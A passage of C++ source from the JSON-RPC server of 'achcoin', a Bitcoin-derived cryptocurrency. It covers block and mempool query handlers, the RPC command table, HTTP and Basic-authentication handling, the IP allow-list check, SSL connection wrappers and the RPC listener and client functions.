aMutable.push_back("time");
aMutable.push_back("transactions");
aMutable.push_back("prevblock");
}
Object result;
result.push_back(Pair("version", pblock->nVersion));
result.push_back(Pair("previousblockhash", pblock->hashPrevBlock.GetHex()));
result.push_back(Pair("transactions", transactions));
result.push_back(Pair("coinbaseaux", aux));
result.push_back(Pair("coinbasevalue", (int64_t)pblock->vtx[0].vout[0].nValue));
result.push_back(Pair("target", hashTarget.GetHex()));
result.push_back(Pair("mintime", (int64_t)pindexPrev->GetMedianTimePast()+1));
result.push_back(Pair("mutable", aMutable));
result.push_back(Pair("noncerange", "00000000ffffffff"));
result.push_back(Pair("sigoplimit", (int64_t)MAX_BLOCK_SIGOPS));
result.push_back(Pair("sizelimit", (int64_t)MAX_BLOCK_SIZE));
result.push_back(Pair("curtime", (int64_t)pblock->nTime));
result.push_back(Pair("bits", HexBits(pblock->nBits)));
result.push_back(Pair("height", (int64_t)(pindexPrev->nHeight+1)));
return result;
}
else
if (strMode == "submit")
{
// Parse parameters
CDataStream ssBlock(ParseHex(find_value(oparam, "data").get_str()), SER_NETWORK, PROTOCOL_VERSION);
CBlock pblock;
ssBlock >> pblock;
bool fAccepted = ProcessBlock(NULL, &pblock);
return fAccepted ? Value::null : "rejected";
}
throw JSONRPCError(-8, "Invalid mode");
}
Value getrawmempool(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 0)
throw runtime_error(
"getrawmempool\n"
"Returns all transaction ids in memory pool.");
vector<uint256> vtxid;
mempool.queryHashes(vtxid);
Array a;
BOOST_FOREACH(const uint256& hash, vtxid)
a.push_back(hash.ToString());
return a;
}
Value getblockhash(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getblockhash <index>\n"
"Returns hash of block in best-block-chain at <index>.");
int nHeight = params[0].get_int();
if (nHeight < 0 || nHeight > nBestHeight)
throw runtime_error("Block number out of range.");
CBlock block;
CBlockIndex* pblockindex = mapBlockIndex[hashBestChain];
while (pblockindex->nHeight > nHeight)
pblockindex = pblockindex->pprev;
return pblockindex->phashBlock->GetHex();
}
Value getblock(const Array& params, bool fHelp)
{
if (fHelp || params.size() != 1)
throw runtime_error(
"getblock <hash>\n"
"Returns details of a block with given block-hash.");
std::string strHash = params[0].get_str();
uint256 hash(strHash);
if (mapBlockIndex.count(hash) == 0)
throw JSONRPCError(-5, "Block not found");
CBlock block;
CBlockIndex* pblockindex = mapBlockIndex[hash];
block.ReadFromDisk(pblockindex, true);
return blockToJSON(block, pblockindex);
}
//
// Call Table
//
static const CRPCCommand vRPCCommands[] =
{ // name function safe mode?
// ------------------------ ----------------------- ----------
{ "help", &help, true },
{ "stop", &stop, true },
{ "getblockcount", &getblockcount, true },
{ "getconnectioncount", &getconnectioncount, true },
{ "getpeerinfo", &getpeerinfo, true },
{ "getdifficulty", &getdifficulty, true },
{ "getnetworkhashps", &getnetworkhashps, true },
{ "getgenerate", &getgenerate, true },
{ "setgenerate", &setgenerate, true },
{ "gethashespersec", &gethashespersec, true },
{ "getinfo", &getinfo, true },
{ "getmininginfo", &getmininginfo, true },
{ "getnewaddress", &getnewaddress, true },
{ "getaccountaddress", &getaccountaddress, true },
{ "setaccount", &setaccount, true },
{ "getaccount", &getaccount, false },
{ "getaddressesbyaccount", &getaddressesbyaccount, true },
{ "sendtoaddress", &sendtoaddress, false },
{ "getreceivedbyaddress", &getreceivedbyaddress, false },
{ "getreceivedbyaccount", &getreceivedbyaccount, false },
{ "listreceivedbyaddress", &listreceivedbyaddress, false },
{ "listreceivedbyaccount", &listreceivedbyaccount, false },
{ "backupwallet", &backupwallet, true },
{ "keypoolrefill", &keypoolrefill, true },
{ "walletpassphrase", &walletpassphrase, true },
{ "walletpassphrasechange", &walletpassphrasechange, false },
{ "walletlock", &walletlock, true },
{ "encryptwallet", &encryptwallet, false },
{ "validateaddress", &validateaddress, true },
{ "getbalance", &getbalance, false },
{ "move", &movecmd, false },
{ "sendfrom", &sendfrom, false },
{ "sendmany", &sendmany, false },
{ "addmultisigaddress", &addmultisigaddress, false },
{ "getrawmempool", &getrawmempool, true },
{ "getblock", &getblock, false },
{ "getblockhash", &getblockhash, false },
{ "gettransaction", &gettransaction, false },
{ "listtransactions", &listtransactions, false },
{ "signmessage", &signmessage, false },
{ "verifymessage", &verifymessage, false },
{ "getwork", &getwork, true },
{ "getworkex", &getworkex, true },
{ "listaccounts", &listaccounts, false },
{ "settxfee", &settxfee, false },
{ "setmininput", &setmininput, false },
{ "getblocktemplate", &getblocktemplate, true },
{ "listsinceblock", &listsinceblock, false },
{ "dumpprivkey", &dumpprivkey, false },
{ "importprivkey", &importprivkey, false },
{ "listunspent", &listunspent, false },
{ "getrawtransaction", &getrawtransaction, false },
{ "createrawtransaction", &createrawtransaction, false },
{ "decoderawtransaction", &decoderawtransaction, false },
{ "signrawtransaction", &signrawtransaction, false },
{ "sendrawtransaction", &sendrawtransaction, false },
};
CRPCTable::CRPCTable()
{
unsigned int vcidx;
for (vcidx = 0; vcidx < (sizeof(vRPCCommands) / sizeof(vRPCCommands[0])); vcidx++)
{
const CRPCCommand *pcmd;
pcmd = &vRPCCommands[vcidx];
mapCommands[pcmd->name] = pcmd;
}
}
const CRPCCommand *CRPCTable::operator[](string name) const
{
map<string, const CRPCCommand*>::const_iterator it = mapCommands.find(name);
if (it == mapCommands.end())
return NULL;
return (*it).second;
}
//
// HTTP protocol
//
// This ain't Apache. We're just using HTTP header for the length field
// and to be compatible with other JSON-RPC implementations.
//
string HTTPPost(const string& strMsg, const map<string,string>& mapRequestHeaders)
{
ostringstream s;
s << "POST / HTTP/1.1\r\n"
<< "User-Agent: achcoin-json-rpc/" << FormatFullVersion() << "\r\n"
<< "Host: 127.0.0.1\r\n"
<< "Content-Type: application/json\r\n"
<< "Content-Length: " << strMsg.size() << "\r\n"
<< "Connection: close\r\n"
<< "Accept: application/json\r\n";
BOOST_FOREACH(const PAIRTYPE(string, string)& item, mapRequestHeaders)
s << item.first << ": " << item.second << "\r\n";
s << "\r\n" << strMsg;
return s.str();
}
string rfc1123Time()
{
char buffer[64];
time_t now;
time(&now);
struct tm* now_gmt = gmtime(&now);
string locale(setlocale(LC_TIME, NULL));
setlocale(LC_TIME, "C"); // we want posix (aka "C") weekday/month strings
strftime(buffer, sizeof(buffer), "%a, %d %b %Y %H:%M:%S +0000", now_gmt);
setlocale(LC_TIME, locale.c_str());
return string(buffer);
}
static string HTTPReply(int nStatus, const string& strMsg, bool keepalive)
{
if (nStatus == 401)
return strprintf("HTTP/1.0 401 Authorization Required\r\n"
"Date: %s\r\n"
"Server: achcoin-json-rpc/%s\r\n"
"WWW-Authenticate: Basic realm=\"jsonrpc\"\r\n"
"Content-Type: text/html\r\n"
"Content-Length: 296\r\n"
"\r\n"
"<!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01 Transitional//EN\"\r\n"
"\"http://www.w3.org/TR/1999/REC-html401-19991224/loose.dtd\">\r\n"
"<HTML>\r\n"
"<HEAD>\r\n"
"<TITLE>Error</TITLE>\r\n"
"<META HTTP-EQUIV='Content-Type' CONTENT='text/html; charset=ISO-8859-1'>\r\n"
"</HEAD>\r\n"
"<BODY><H1>401 Unauthorized.</H1></BODY>\r\n"
"</HTML>\r\n", rfc1123Time().c_str(), FormatFullVersion().c_str());
const char *cStatus;
if (nStatus == 200) cStatus = "OK";
else if (nStatus == 400) cStatus = "Bad Request";
else if (nStatus == 403) cStatus = "Forbidden";
else if (nStatus == 404) cStatus = "Not Found";
else if (nStatus == 500) cStatus = "Internal Server Error";
else cStatus = "";
return strprintf(
"HTTP/1.1 %d %s\r\n"
"Date: %s\r\n"
"Connection: %s\r\n"
"Content-Length: %d\r\n"
"Content-Type: application/json\r\n"
"Server: achcoin-json-rpc/%s\r\n"
"\r\n"
"%s",
nStatus,
cStatus,
rfc1123Time().c_str(),
keepalive ? "keep-alive" : "close",
strMsg.size(),
FormatFullVersion().c_str(),
strMsg.c_str());
}
int ReadHTTPStatus(std::basic_istream<char>& stream, int &proto)
{
string str;
getline(stream, str);
vector<string> vWords;
boost::split(vWords, str, boost::is_any_of(" "));
if (vWords.size() < 2)
return 500;
proto = 0;
const char *ver = strstr(str.c_str(), "HTTP/1.");
if (ver != NULL)
proto = atoi(ver+7);
return atoi(vWords[1].c_str());
}
int ReadHTTPHeader(std::basic_istream<char>& stream, map<string, string>& mapHeadersRet)
{
int nLen = 0;
loop
{
string str;
std::getline(stream, str);
if (str.empty() || str == "\r")
break;
string::size_type nColon = str.find(":");
if (nColon != string::npos)
{
string strHeader = str.substr(0, nColon);
boost::trim(strHeader);
boost::to_lower(strHeader);
string strValue = str.substr(nColon+1);
boost::trim(strValue);
mapHeadersRet[strHeader] = strValue;
if (strHeader == "content-length")
nLen = atoi(strValue.c_str());
}
}
return nLen;
}
int ReadHTTP(std::basic_istream<char>& stream, map<string, string>& mapHeadersRet, string& strMessageRet)
{
mapHeadersRet.clear();
strMessageRet = "";
// Read status
int nProto = 0;
int nStatus = ReadHTTPStatus(stream, nProto);
// Read header
int nLen = ReadHTTPHeader(stream, mapHeadersRet);
if (nLen < 0 || nLen > (int)MAX_SIZE)
return 500;
// Read message
if (nLen > 0)
{
vector<char> vch(nLen);
stream.read(&vch[0], nLen);
strMessageRet = string(vch.begin(), vch.end());
}
string sConHdr = mapHeadersRet["connection"];
if ((sConHdr != "close") && (sConHdr != "keep-alive"))
{
if (nProto >= 1)
mapHeadersRet["connection"] = "keep-alive";
else
mapHeadersRet["connection"] = "close";
}
return nStatus;
}
bool HTTPAuthorized(map<string, string>& mapHeaders)
{
string strAuth = mapHeaders["authorization"];
if (strAuth.substr(0,6) != "Basic ")
return false;
string strUserPass64 = strAuth.substr(6); boost::trim(strUserPass64);
string strUserPass = DecodeBase64(strUserPass64);
return strUserPass == strRPCUserColonPass;
}
//
// JSON-RPC protocol. achcoin speaks version 1.0 for maximum compatibility,
// but uses JSON-RPC 1.1/2.0 standards for parts of the 1.0 standard that were
// unspecified (HTTP errors and contents of 'error').
//
// 1.0 spec: http://json-rpc.org/wiki/specification
// 1.2 spec: http://groups.google.com/group/json-rpc/web/json-rpc-over-http
// http://www.codeproject.com/KB/recipes/JSON_Spirit.aspx
//
string JSONRPCRequest(const string& strMethod, const Array& params, const Value& id)
{
Object request;
request.push_back(Pair("method", strMethod));
request.push_back(Pair("params", params));
request.push_back(Pair("id", id));
return write_string(Value(request), false) + "\n";
}
Object JSONRPCReplyObj(const Value& result, const Value& error, const Value& id)
{
Object reply;
if (error.type() != null_type)
reply.push_back(Pair("result", Value::null));
else
reply.push_back(Pair("result", result));
reply.push_back(Pair("error", error));
reply.push_back(Pair("id", id));
return reply;
}
string JSONRPCReply(const Value& result, const Value& error, const Value& id)
{
Object reply = JSONRPCReplyObj(result, error, id);
return write_string(Value(reply), false) + "\n";
}
void ErrorReply(std::ostream& stream, const Object& objError, const Value& id)
{
// Send error reply from json-rpc error object
int nStatus = 500;
int code = find_value(objError, "code").get_int();
if (code == -32600) nStatus = 400;
else if (code == -32601) nStatus = 404;
string strReply = JSONRPCReply(Value::null, objError, id);
stream << HTTPReply(nStatus, strReply, false) << std::flush;
}
bool ClientAllowed(const boost::asio::ip::address& address)
{
// Make sure that IPv4-compatible and IPv4-mapped IPv6 addresses are treated as IPv4 addresses
if (address.is_v6()
&& (address.to_v6().is_v4_compatible()
|| address.to_v6().is_v4_mapped()))
return ClientAllowed(address.to_v6().to_v4());
if (address == asio::ip::address_v4::loopback()
|| address == asio::ip::address_v6::loopback()
|| (address.is_v4()
// Chech whether IPv4 addresses match 127.0.0.0/8 (loopback subnet)
&& (address.to_v4().to_ulong() & 0xff000000) == 0x7f000000))
return true;
const string strAddress = address.to_string();
const vector<string>& vAllow = mapMultiArgs["-rpcallowip"];
BOOST_FOREACH(string strAllow, vAllow)
if (WildcardMatch(strAddress, strAllow))
return true;
return false;
}
//
// IOStream device that speaks SSL but can also speak non-SSL
//
template <typename Protocol>
class SSLIOStreamDevice : public iostreams::device<iostreams::bidirectional> {
public:
SSLIOStreamDevice(asio::ssl::stream<typename Protocol::socket> &streamIn, bool fUseSSLIn) : stream(streamIn)
{
fUseSSL = fUseSSLIn;
fNeedHandshake = fUseSSLIn;
}
void handshake(ssl::stream_base::handshake_type role)
{
if (!fNeedHandshake) return;
fNeedHandshake = false;
stream.handshake(role);
}
std::streamsize read(char* s, std::streamsize n)
{
handshake(ssl::stream_base::server); // HTTPS servers read first
if (fUseSSL) return stream.read_some(asio::buffer(s, n));
return stream.next_layer().read_some(asio::buffer(s, n));
}
std::streamsize write(const char* s, std::streamsize n)
{
handshake(ssl::stream_base::client); // HTTPS clients write first
if (fUseSSL) return asio::write(stream, asio::buffer(s, n));
return asio::write(stream.next_layer(), asio::buffer(s, n));
}
bool connect(const std::string& server, const std::string& port)
{
ip::tcp::resolver resolver(stream.get_io_service());
ip::tcp::resolver::query query(server.c_str(), port.c_str());
ip::tcp::resolver::iterator endpoint_iterator = resolver.resolve(query);
ip::tcp::resolver::iterator end;
boost::system::error_code error = asio::error::host_not_found;
while (error && endpoint_iterator != end)
{
stream.lowest_layer().close();
stream.lowest_layer().connect(*endpoint_iterator++, error);
}
if (error)
return false;
return true;
}
private:
bool fNeedHandshake;
bool fUseSSL;
asio::ssl::stream<typename Protocol::socket>& stream;
};
class AcceptedConnection
{
public:
virtual ~AcceptedConnection() {}
virtual std::iostream& stream() = 0;
virtual std::string peer_address_to_string() const = 0;
virtual void close() = 0;
};
template <typename Protocol>
class AcceptedConnectionImpl : public AcceptedConnection
{
public:
AcceptedConnectionImpl(
asio::io_service& io_service,
ssl::context &context,
bool fUseSSL) :
sslStream(io_service, context),
_d(sslStream, fUseSSL),
_stream(_d)
{
}
virtual std::iostream& stream()
{
return _stream;
}
virtual std::string peer_address_to_string() const
{
return peer.address().to_string();
}
virtual void close()
{
_stream.close();
}
typename Protocol::endpoint peer;
asio::ssl::stream<typename Protocol::socket> sslStream;
private:
SSLIOStreamDevice<Protocol> _d;
iostreams::stream< SSLIOStreamDevice<Protocol> > _stream;
};
void ThreadRPCServer(void* parg)
{
IMPLEMENT_RANDOMIZE_STACK(ThreadRPCServer(parg));
// Make this thread recognisable as the RPC listener
RenameThread("bitcoin-rpclist");
try
{
vnThreadsRunning[THREAD_RPCLISTENER]++;
ThreadRPCServer2(parg);
vnThreadsRunning[THREAD_RPCLISTENER]--;
}
catch (std::exception& e) {
vnThreadsRunning[THREAD_RPCLISTENER]--;
PrintException(&e, "ThreadRPCServer()");
} catch (...) {
vnThreadsRunning[THREAD_RPCLISTENER]--;
PrintException(NULL, "ThreadRPCServer()");
}
printf("ThreadRPCServer exited\n");
}
// Forward declaration required for RPCListen
template <typename Protocol, typename SocketAcceptorService>
static void RPCAcceptHandler(boost::shared_ptr< basic_socket_acceptor<Protocol, SocketAcceptorService> > acceptor,
ssl::context& context,
bool fUseSSL,
AcceptedConnection* conn,
const boost::system::error_code& error);
/**
* Sets up I/O resources to accept and handle a new connection.
*/
template <typename Protocol, typename SocketAcceptorService>
static void RPCListen(boost::shared_ptr< basic_socket_acceptor<Protocol, SocketAcceptorService> > acceptor,
ssl::context& context,
const bool fUseSSL)
{
// Accept connection
AcceptedConnectionImpl<Protocol>* conn = new AcceptedConnectionImpl<Protocol>(acceptor->get_io_service(), context, fUseSSL);
acceptor->async_accept(
conn->sslStream.lowest_layer(),
conn->peer,
boost::bind(&RPCAcceptHandler<Protocol, SocketAcceptorService>,
acceptor,
boost::ref(context),
fUseSSL,
conn,
boost::asio::placeholders::error));
}
/**
* Accept and handle incoming connection.
*/
template <typename Protocol, typename SocketAcceptorService>
static void RPCAcceptHandler(boost::shared_ptr< basic_socket_acceptor<Protocol, SocketAcceptorService> > acceptor,
ssl::context& context,
const bool fUseSSL,
AcceptedConnection* conn,
const boost::system::error_code& error)
{
vnThreadsRunning[THREAD_RPCLISTENER]++;
// Immediately start accepting new connections, except when we're canceled or our socket is closed.
if (error != asio::error::operation_aborted
&& acceptor->is_open())
RPCListen(acceptor, context, fUseSSL);
AcceptedConnectionImpl<ip::tcp>* tcp_conn = dynamic_cast< AcceptedConnectionImpl<ip::tcp>* >(conn);
// TODO: Actually handle errors
if (error)
{
delete conn;
}
// Restrict callers by IP. It is important to
// do this before starting client thread, to filter out
// certain DoS and misbehaving clients.
else if (tcp_conn
&& !ClientAllowed(tcp_conn->peer.address()))
{
// Only send a 403 if we're not using SSL to prevent a DoS during the SSL handshake.
if (!fUseSSL)
conn->stream() << HTTPReply(403, "", false) << std::flush;
delete conn;
}
// start HTTP client thread
else if (!CreateThread(ThreadRPCServer3, conn)) {
printf("Failed to create RPC server client thread\n");
delete conn;
}
vnThreadsRunning[THREAD_RPCLISTENER]--;
}
void ThreadRPCServer2(void* parg)
{
printf("ThreadRPCServer started\n");
strRPCUserColonPass = mapArgs["-rpcuser"] + ":" + mapArgs["-rpcpassword"];
if (mapArgs["-rpcpassword"] == "")
{
unsigned char rand_pwd[32];
RAND_bytes(rand_pwd, 32);
string strWhatAmI = "To use achcoin";
if (mapArgs.count("-server"))
strWhatAmI = strprintf(_("To use the %s option"), "\"-server\"");
else if (mapArgs.count("-daemon"))
strWhatAmI = strprintf(_("To use the %s option"), "\"-daemon\"");
uiInterface.ThreadSafeMessageBox(strprintf(
_("%s, you must set a rpcpassword in the configuration file:\n %s\n"
"It is recommended you use the following random password:\n"
"rpcuser=achcoinrpc\n"
"rpcpassword=%s\n"
"(you do not need to remember this password)\n"
"If the file does not exist, create it with owner-readable-only file permissions.\n"),
strWhatAmI.c_str(),
GetConfigFile().string().c_str(),
EncodeBase58(&rand_pwd[0],&rand_pwd[0]+32).c_str()),
_("Error"), CClientUIInterface::OK | CClientUIInterface::MODAL);
StartShutdown();
return;
}
const bool fUseSSL = GetBoolArg("-rpcssl");
asio::io_service io_service;
ssl::context context(io_service, ssl::context::sslv23);
if (fUseSSL)
{
context.set_options(ssl::context::no_sslv2);
filesystem::path pathCertFile(GetArg("-rpcsslcertificatechainfile", "server.cert"));
if (!pathCertFile.is_complete()) pathCertFile = filesystem::path(GetDataDir()) / pathCertFile;
if (filesystem::exists(pathCertFile)) context.use_certificate_chain_file(pathCertFile.string());
else printf("ThreadRPCServer ERROR: missing server certificate file %s\n", pathCertFile.string().c_str());
filesystem::path pathPKFile(GetArg("-rpcsslprivatekeyfile", "server.pem"));
if (!pathPKFile.is_complete()) pathPKFile = filesystem::path(GetDataDir()) / pathPKFile;
if (filesystem::exists(pathPKFile)) context.use_private_key_file(pathPKFile.string(), ssl::context::pem);
else printf("ThreadRPCServer ERROR: missing server private key file %s\n", pathPKFile.string().c_str());
string strCiphers = GetArg("-rpcsslciphers", "TLSv1+HIGH:!SSLv2:!aNULL:!eNULL:!AH:!3DES:@STRENGTH");
SSL_CTX_set_cipher_list(context.impl(), strCiphers.c_str());
}
// Try a dual IPv6/IPv4 socket, falling back to separate IPv4 and IPv6 sockets
const bool loopback = !mapArgs.count("-rpcallowip");
asio::ip::address bindAddress = loopback ? asio::ip::address_v6::loopback() : asio::ip::address_v6::any();
ip::tcp::endpoint endpoint(bindAddress, GetArg("-rpcport", 55883));
boost::signals2::signal<void ()> StopRequests;
try
{
boost::shared_ptr<ip::tcp::acceptor> acceptor(new ip::tcp::acceptor(io_service));
acceptor->open(endpoint.protocol());
acceptor->set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));
// Try making the socket dual IPv6/IPv4 (if listening on the "any" address)
boost::system::error_code v6_only_error;
acceptor->set_option(boost::asio::ip::v6_only(loopback), v6_only_error);
acceptor->bind(endpoint);
acceptor->listen(socket_base::max_connections);
RPCListen(acceptor, context, fUseSSL);
// Cancel outstanding listen-requests for this acceptor when shutting down
StopRequests.connect(signals2::slot<void ()>(
static_cast<void (ip::tcp::acceptor::*)()>(&ip::tcp::acceptor::close), acceptor.get())
.track(acceptor));
// If dual IPv6/IPv4 failed (or we're opening loopback interfaces only), open IPv4 separately
if (loopback || v6_only_error)
{
bindAddress = loopback ? asio::ip::address_v4::loopback() : asio::ip::address_v4::any();
endpoint.address(bindAddress);
acceptor.reset(new ip::tcp::acceptor(io_service));
acceptor->open(endpoint.protocol());
acceptor->set_option(boost::asio::ip::tcp::acceptor::reuse_address(true));
acceptor->bind(endpoint);
acceptor->listen(socket_base::max_connections);
RPCListen(acceptor, context, fUseSSL);
// Cancel outstanding listen-requests for this acceptor when shutting down
StopRequests.connect(signals2::slot<void ()>(
static_cast<void (ip::tcp::acceptor::*)()>(&ip::tcp::acceptor::close), acceptor.get())
.track(acceptor));
}
}
catch(boost::system::system_error &e)
{
uiInterface.ThreadSafeMessageBox(strprintf(_("An error occured while setting up the RPC port %i for listening: %s"), endpoint.port(), e.what()),
_("Error"), CClientUIInterface::OK | CClientUIInterface::MODAL);
StartShutdown();
return;
}
vnThreadsRunning[THREAD_RPCLISTENER]--;
while (!fShutdown)
io_service.run_one();
vnThreadsRunning[THREAD_RPCLISTENER]++;
StopRequests();
}
class JSONRequest
{
public:
Value id;
string strMethod;
Array params;
JSONRequest() { id = Value::null; }
void parse(const Value& valRequest);
};
void JSONRequest::parse(const Value& valRequest)
{
// Parse request
if (valRequest.type() != obj_type)
throw JSONRPCError(-32600, "Invalid Request object");
const Object& request = valRequest.get_obj();
// Parse id now so errors from here on will have the id
id = find_value(request, "id");
// Parse method
Value valMethod = find_value(request, "method");
if (valMethod.type() == null_type)
throw JSONRPCError(-32600, "Missing method");
if (valMethod.type() != str_type)
throw JSONRPCError(-32600, "Method must be a string");
strMethod = valMethod.get_str();
if (strMethod != "getwork" && strMethod != "getblocktemplate")
printf("ThreadRPCServer method=%s\n", strMethod.c_str());
// Parse params
Value valParams = find_value(request, "params");
if (valParams.type() == array_type)
params = valParams.get_array();
else if (valParams.type() == null_type)
params = Array();
else
throw JSONRPCError(-32600, "Params must be an array");
}
static Object JSONRPCExecOne(const Value& req)
{
Object rpc_result;
JSONRequest jreq;
try {
jreq.parse(req);
Value result = tableRPC.execute(jreq.strMethod, jreq.params);
rpc_result = JSONRPCReplyObj(result, Value::null, jreq.id);
}
catch (Object& objError)
{
rpc_result = JSONRPCReplyObj(Value::null, objError, jreq.id);
}
catch (std::exception& e)
{
rpc_result = JSONRPCReplyObj(Value::null,
JSONRPCError(-32700, e.what()), jreq.id);
}
return rpc_result;
}
static string JSONRPCExecBatch(const Array& vReq)
{
Array ret;
for (unsigned int reqIdx = 0; reqIdx < vReq.size(); reqIdx++)
ret.push_back(JSONRPCExecOne(vReq[reqIdx]));
return write_string(Value(ret), false) + "\n";
}
static CCriticalSection cs_THREAD_RPCHANDLER;
void ThreadRPCServer3(void* parg)
{
IMPLEMENT_RANDOMIZE_STACK(ThreadRPCServer3(parg));
// Make this thread recognisable as the RPC handler
RenameThread("bitcoin-rpchand");
{
LOCK(cs_THREAD_RPCHANDLER);
vnThreadsRunning[THREAD_RPCHANDLER]++;
}
AcceptedConnection *conn = (AcceptedConnection *) parg;
bool fRun = true;
loop {
if (fShutdown || !fRun)
{
conn->close();
delete conn;
{
LOCK(cs_THREAD_RPCHANDLER);
--vnThreadsRunning[THREAD_RPCHANDLER];
}
return;
}
map<string, string> mapHeaders;
string strRequest;
ReadHTTP(conn->stream(), mapHeaders, strRequest);
// Check authorization
if (mapHeaders.count("authorization") == 0)
{
conn->stream() << HTTPReply(401, "", false) << std::flush;
break;
}
if (!HTTPAuthorized(mapHeaders))
{
printf("ThreadRPCServer incorrect password attempt from %s\n", conn->peer_address_to_string().c_str());
/* Deter brute-forcing short passwords.
If this results in a DOS the user really
shouldn't have their RPC port exposed.*/
if (mapArgs["-rpcpassword"].size() < 20)
Sleep(250);
conn->stream() << HTTPReply(401, "", false) << std::flush;
break;
}
if (mapHeaders["connection"] == "close")
fRun = false;
JSONRequest jreq;
try
{
// Parse request
Value valRequest;
if (!read_string(strRequest, valRequest))
throw JSONRPCError(-32700, "Parse error");
string strReply;
// singleton request
if (valRequest.type() == obj_type) {
jreq.parse(valRequest);
Value result = tableRPC.execute(jreq.strMethod, jreq.params);
// Send reply
strReply = JSONRPCReply(result, Value::null, jreq.id);
// array of requests
} else if (valRequest.type() == array_type)
strReply = JSONRPCExecBatch(valRequest.get_array());
else
throw JSONRPCError(-32700, "Top-level object parse error");
conn->stream() << HTTPReply(200, strReply, fRun) << std::flush;
}
catch (Object& objError)
{
ErrorReply(conn->stream(), objError, jreq.id);
break;
}
catch (std::exception& e)
{
ErrorReply(conn->stream(), JSONRPCError(-32700, e.what()), jreq.id);
break;
}
}
delete conn;
{
LOCK(cs_THREAD_RPCHANDLER);
vnThreadsRunning[THREAD_RPCHANDLER]--;
}
}
json_spirit::Value CRPCTable::execute(const std::string &strMethod, const json_spirit::Array ¶ms) const
{
// Find method
const CRPCCommand *pcmd = tableRPC[strMethod];
if (!pcmd)
throw JSONRPCError(-32601, "Method not found");
// Observe safe mode
string strWarning = GetWarnings("rpc");
if (strWarning != "" && !GetBoolArg("-disablesafemode") &&
!pcmd->okSafeMode)
throw JSONRPCError(-2, string("Safe mode: ") + strWarning);
try
{
// Execute
Value result;
{
LOCK2(cs_main, pwalletMain->cs_wallet);
result = pcmd->actor(params, false);
}
return result;
}
catch (std::exception& e)
{
throw JSONRPCError(-1, e.what());
}
}
Object CallRPC(const string& strMethod, const Array& params)
{
if (mapArgs["-rpcuser"] == "" && mapArgs["-rpcpassword"] == "")
throw runtime_error(strprintf(
_("You must set rpcpassword=<password> in the configuration file:\n%s\n"
"If the file does not exist, create it with owner-readable-only file permissions."),
GetConfigFile().string().c_str()));
// Connect to localhost
bool fUseSSL = GetBoolArg("-rpcssl");
asio::io_service io_service;
ssl::context context(io_service, ssl::context::sslv23);
context.set_options(ssl::context::no_sslv2);
asio::ssl::stream<asio::ip::tcp::socket> sslStream(io_service, context);
SSLIOStreamDevice<asio::ip::tcp> d(sslStream, fUseSSL);
iostreams::stream< SSLIOStreamDevice<asio::ip::tcp> > stream(d);
if (!d.connect(GetArg("-rpcconnect", "127.0.0.1"), GetArg("-rpcport", "55883")))
throw runtime_error("couldn't connect to server");
// HTTP basic authentication
string strUserPass64 = EncodeBase64(mapArgs["-rpcuser"] + ":" + mapArgs["-rpcpassword"]);
map<string, string> mapRequestHeaders;
mapRequestHeaders["Authorization"] = string("Basic ") + strUserPass64;
// Send request
string strRequest = JSONRPCRequest(strMethod, params, 1);
string strPost = HTTPPost(strRequest, mapRequestHeaders);
stream << strPost << std::flush;
// Receive reply
map<string, string> mapHeaders;
string strReply;
int nStatus = ReadHTTP(stream, mapHeaders, strReply);
if (nStatus == 401)
throw runtime_error("incorrect rpcuser or rpcpassword (authorization failed)");
else if (nStatus >= 400 && nStatus != 400 && nStatus != 404 && nStatus != 500)
throw runtime_error(strprintf("server returned HTTP error %d", nStatus));
else if (strReply.empty())
throw runtime_error("no response from server");
// Parse reply
Value valReply;
if (!read_string(strReply, valReply))
throw runtime_error("couldn't parse reply from server");
const Object& reply = valReply.get_obj();
if (reply.empty())
throw runtime_error("expected reply to have result, error and id properties");
return reply;
}
template<typename T>
void ConvertTo(Value& value)
{
if (value.type() == str_type)
{
// reinterpret string as unquoted json value
Value value2;
string strJSON = value.get_str();
if (!read_string(strJSON, value2))
throw runtime_error(string("Error parsing JSON:")+strJSON);
value = value2.get_value<T>();
}
else
{
value = value.get_value<T>();
}
}
// Convert strings to command-specific RPC representation
Array RPCConvertValues(const std::string &strMethod, const std::vector<std::string> &strParams)
{
Array params;
BOOST_FOREACH(const std::string ¶m, strParams)
params.push_back(param);
int n = params.size();
//
// Special case non-string parameter types
//
if (strMethod == "setgenerate" && n > 0) ConvertTo<bool>(params[0]);
if (strMethod == "setgenerate" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "sendtoaddress" && n > 1) ConvertTo<double>(params[1]);
if (strMethod == "settxfee" && n > 0) ConvertTo<double>(params[0]);
if (strMethod == "setmininput" && n > 0) ConvertTo<double>(params[0]);
if (strMethod == "getreceivedbyaddress" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "getreceivedbyaccount" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "listreceivedbyaddress" && n > 0) ConvertTo<boost::int64_t>(params[0]);
if (strMethod == "listreceivedbyaddress" && n > 1) ConvertTo<bool>(params[1]);
if (strMethod == "listreceivedbyaccount" && n > 0) ConvertTo<boost::int64_t>(params[0]);
if (strMethod == "listreceivedbyaccount" && n > 1) ConvertTo<bool>(params[1]);
if (strMethod == "getbalance" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "getblockhash" && n > 0) ConvertTo<boost::int64_t>(params[0]);
if (strMethod == "move" && n > 2) ConvertTo<double>(params[2]);
if (strMethod == "move" && n > 3) ConvertTo<boost::int64_t>(params[3]);
if (strMethod == "sendfrom" && n > 2) ConvertTo<double>(params[2]);
if (strMethod == "sendfrom" && n > 3) ConvertTo<boost::int64_t>(params[3]);
if (strMethod == "listtransactions" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "listtransactions" && n > 2) ConvertTo<boost::int64_t>(params[2]);
if (strMethod == "listaccounts" && n > 0) ConvertTo<boost::int64_t>(params[0]);
if (strMethod == "walletpassphrase" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "getblocktemplate" && n > 0) ConvertTo<Object>(params[0]);
if (strMethod == "listsinceblock" && n > 1) ConvertTo<boost::int64_t>(params[1]);
if (strMethod == "sendmany" && n > 1) ConvertTo<Object>(params[1]);
if (strMethod == "sendmany" && n > 2) ConvertTo<boost::int64_t>(params[2]);
if (strMethod == "addmultisigaddress" && n > 0) ConvertTo<boost::int64_t>(params[0]);
